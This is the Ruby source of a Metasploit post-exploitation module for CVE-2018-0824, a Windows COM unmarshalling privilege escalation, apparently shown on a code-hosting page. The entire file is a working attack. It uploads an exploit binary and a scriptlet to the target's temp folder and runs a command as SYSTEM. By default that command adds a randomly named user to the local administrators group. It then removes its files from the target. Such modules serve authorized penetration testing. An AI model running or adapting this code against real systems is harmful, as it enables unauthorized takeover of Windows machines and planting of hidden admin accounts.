Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
# This module requires Metasploit: https://metasploit.com/download
2
# Current source: https://github.com/rapid7/metasploit-framework
3
##
4

5
class MetasploitModule < Msf::Post
6
  include Msf::Post::Common
7
  include Msf::Post::File
8
  include Msf::Post::Windows::Version
9
  #  include Msf::Post::Windows::Priv
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Windows unmarshal post exploitation',
16
        'Description' => %q{
17
          This module exploits a local privilege escalation bug which exists
18
          in microsoft COM for windows when it fails to properly handle serialized objects.
19
        },
20
        'References' => [
21
          ['CVE', '2018-0824'],
22
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],
23
          ['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],
24
          ['EDB', '44906']
25
        ],
26
        'Author' => [
27
          'Nicolas Joly', # Vulnerability discovery
28
          'Matthias Kaiser', # Exploit PoC
29
          'Sanjay Gondaliya', # Modified PoC
30
          'Pratik Shah <[email protected]>' # Metasploit module
31
        ],
32
        'DisclosureDate' => '2018-08-05',
33
        'Platform' => ['win'],
34
        'Arch' => ARCH_X64,
35
        'License' => MSF_LICENSE,
36
        'Compat' => {
37
          'Meterpreter' => {
38
            'Commands' => %w[
39
              stdapi_sys_config_getenv
40
            ]
41
          }
42
        }
43
      )
44
    )
45

46
    register_options(
47
      [
48
        OptString.new('COMMAND',
49
                      [false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),
50
        OptString.new('EXPLOIT_NAME',
51
                      [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
52
        OptString.new('SCRIPT_NAME',
53
                      [false, 'The filename to use for the COM script file (%RAND% by default).', nil]),
54
        OptString.new('PATH',
55
                      [false, 'Path to write binaries (%TEMP% by default).', nil]),
56
      ]
57
    )
58
  end
59

60
  def setup
61
    super
62
    validate_active_host
63
    @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
64
    @script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
65
    @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
66
    @script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
67
    @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
68
    @exploit_path = "#{temp_path}\\#{exploit_name}"
69
    @script_path = "#{temp_path}\\#{script_name}"
70
  end
71

72
  def populate_command
73
    username = Rex::Text.rand_text_alpha(rand(6..13))
74
    password = Rex::Text.rand_text_alpha(rand(6..13))
75
    print_status("username = #{username}, password = #{password}")
76
    cmd_to_run = 'net user /add ' + username + ' ' + password
77
    cmd_to_run += '  & net localgroup administrators /add ' + username
78
    print_status(cmd_to_run)
79
    return cmd_to_run
80
  end
81

82
  def validate_active_host
83
    print_status("Attempting to Run on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
84
  rescue Rex::Post::Meterpreter::RequestError => e
85
    elog(e)
86
    raise Msf::Exploit::Failed, 'Could not connect to session'
87
  end
88

89
  def validate_remote_path(path)
90
    unless directory?(path)
91
      fail_with(Failure::Unreachable, "#{path} does not exist on the target")
92
    end
93
  end
94

95
  def validate_target
96
    if sysinfo['Architecture'] == ARCH_X86
97
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
98
    end
99
    version = get_version_info
100
    unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803)
101
      fail_with(Failure::Unknown, 'The exploit does not support this OS')
102
    end
103
  end
104

105
  def ensure_clean_destination(path)
106
    if file?(path)
107
      print_status("#{path} already exists on the target. Deleting...")
108
      begin
109
        file_rm(path)
110
        print_status("Deleted #{path}")
111
      rescue Rex::Post::Meterpreter::RequestError => e
112
        elog(e)
113
        print_error("Unable to delete #{path}")
114
      end
115
    end
116
  end
117

118
  def upload_exploit
119
    local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')
120
    upload_file(exploit_path, local_exploit_path)
121
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
122
  end
123

124
  def upload_script(cmd_to_run)
125
    vprint_status("Creating the sct file with command #{cmd_to_run}")
126
    local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')
127
    script_template_data = ::IO.read(local_script_template_path)
128
    vprint_status("script_template_data.length =  #{script_template_data.length}")
129
    full_command = 'cmd.exe /c ' + cmd_to_run
130
    full_command = full_command
131
    script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)
132
    if script_data.nil?
133
      fail_with(Failure::BadConfig, 'Failed to substitute command in script_template')
134
    end
135
    vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")
136
    write_file(script_path, script_data)
137
    vprint_status('Script uploaded successfully')
138
  end
139

140
  def run
141
    if datastore['COMMAND'].nil?
142
      cmd_to_run = populate_command
143
    else
144
      cmd_to_run = datastore['COMMAND']
145
    end
146
    print_status("exploit path is: #{exploit_path}")
147
    print_status("script path is: #{script_path}")
148
    print_status("command is: #{cmd_to_run}")
149
    begin
150
      validate_active_host
151
      validate_target
152
      validate_remote_path(temp_path)
153
      ensure_clean_destination(exploit_path)
154
      ensure_clean_destination(script_path)
155
      vprint_status("Uploading Script to #{script_path}")
156
      upload_script(cmd_to_run)
157
      vprint_status("Uploading Exploit to #{exploit_path}")
158
      upload_exploit
159
      vprint_status('Launching Exploit...')
160
      command_output = cmd_exec(exploit_path + ' ' + script_path)
161
      vprint_status(command_output)
162
      print_good('Exploit Completed')
163
      ensure_clean_destination(exploit_path)
164
      ensure_clean_destination(script_path)
165
    rescue Rex::Post::Meterpreter::RequestError => e
166
      elog('Command failed, cleaning up', error: e)
167
      print_good('Command failed, cleaning up')
168
      print_error(e.message)
169
      ensure_clean_destination(exploit_path)
170
      ensure_clean_destination(script_path)
171
    end
172
  end
173
  attr_reader :exploit_name, :script_name, :temp_path, :exploit_path, :script_path
174
end
175

176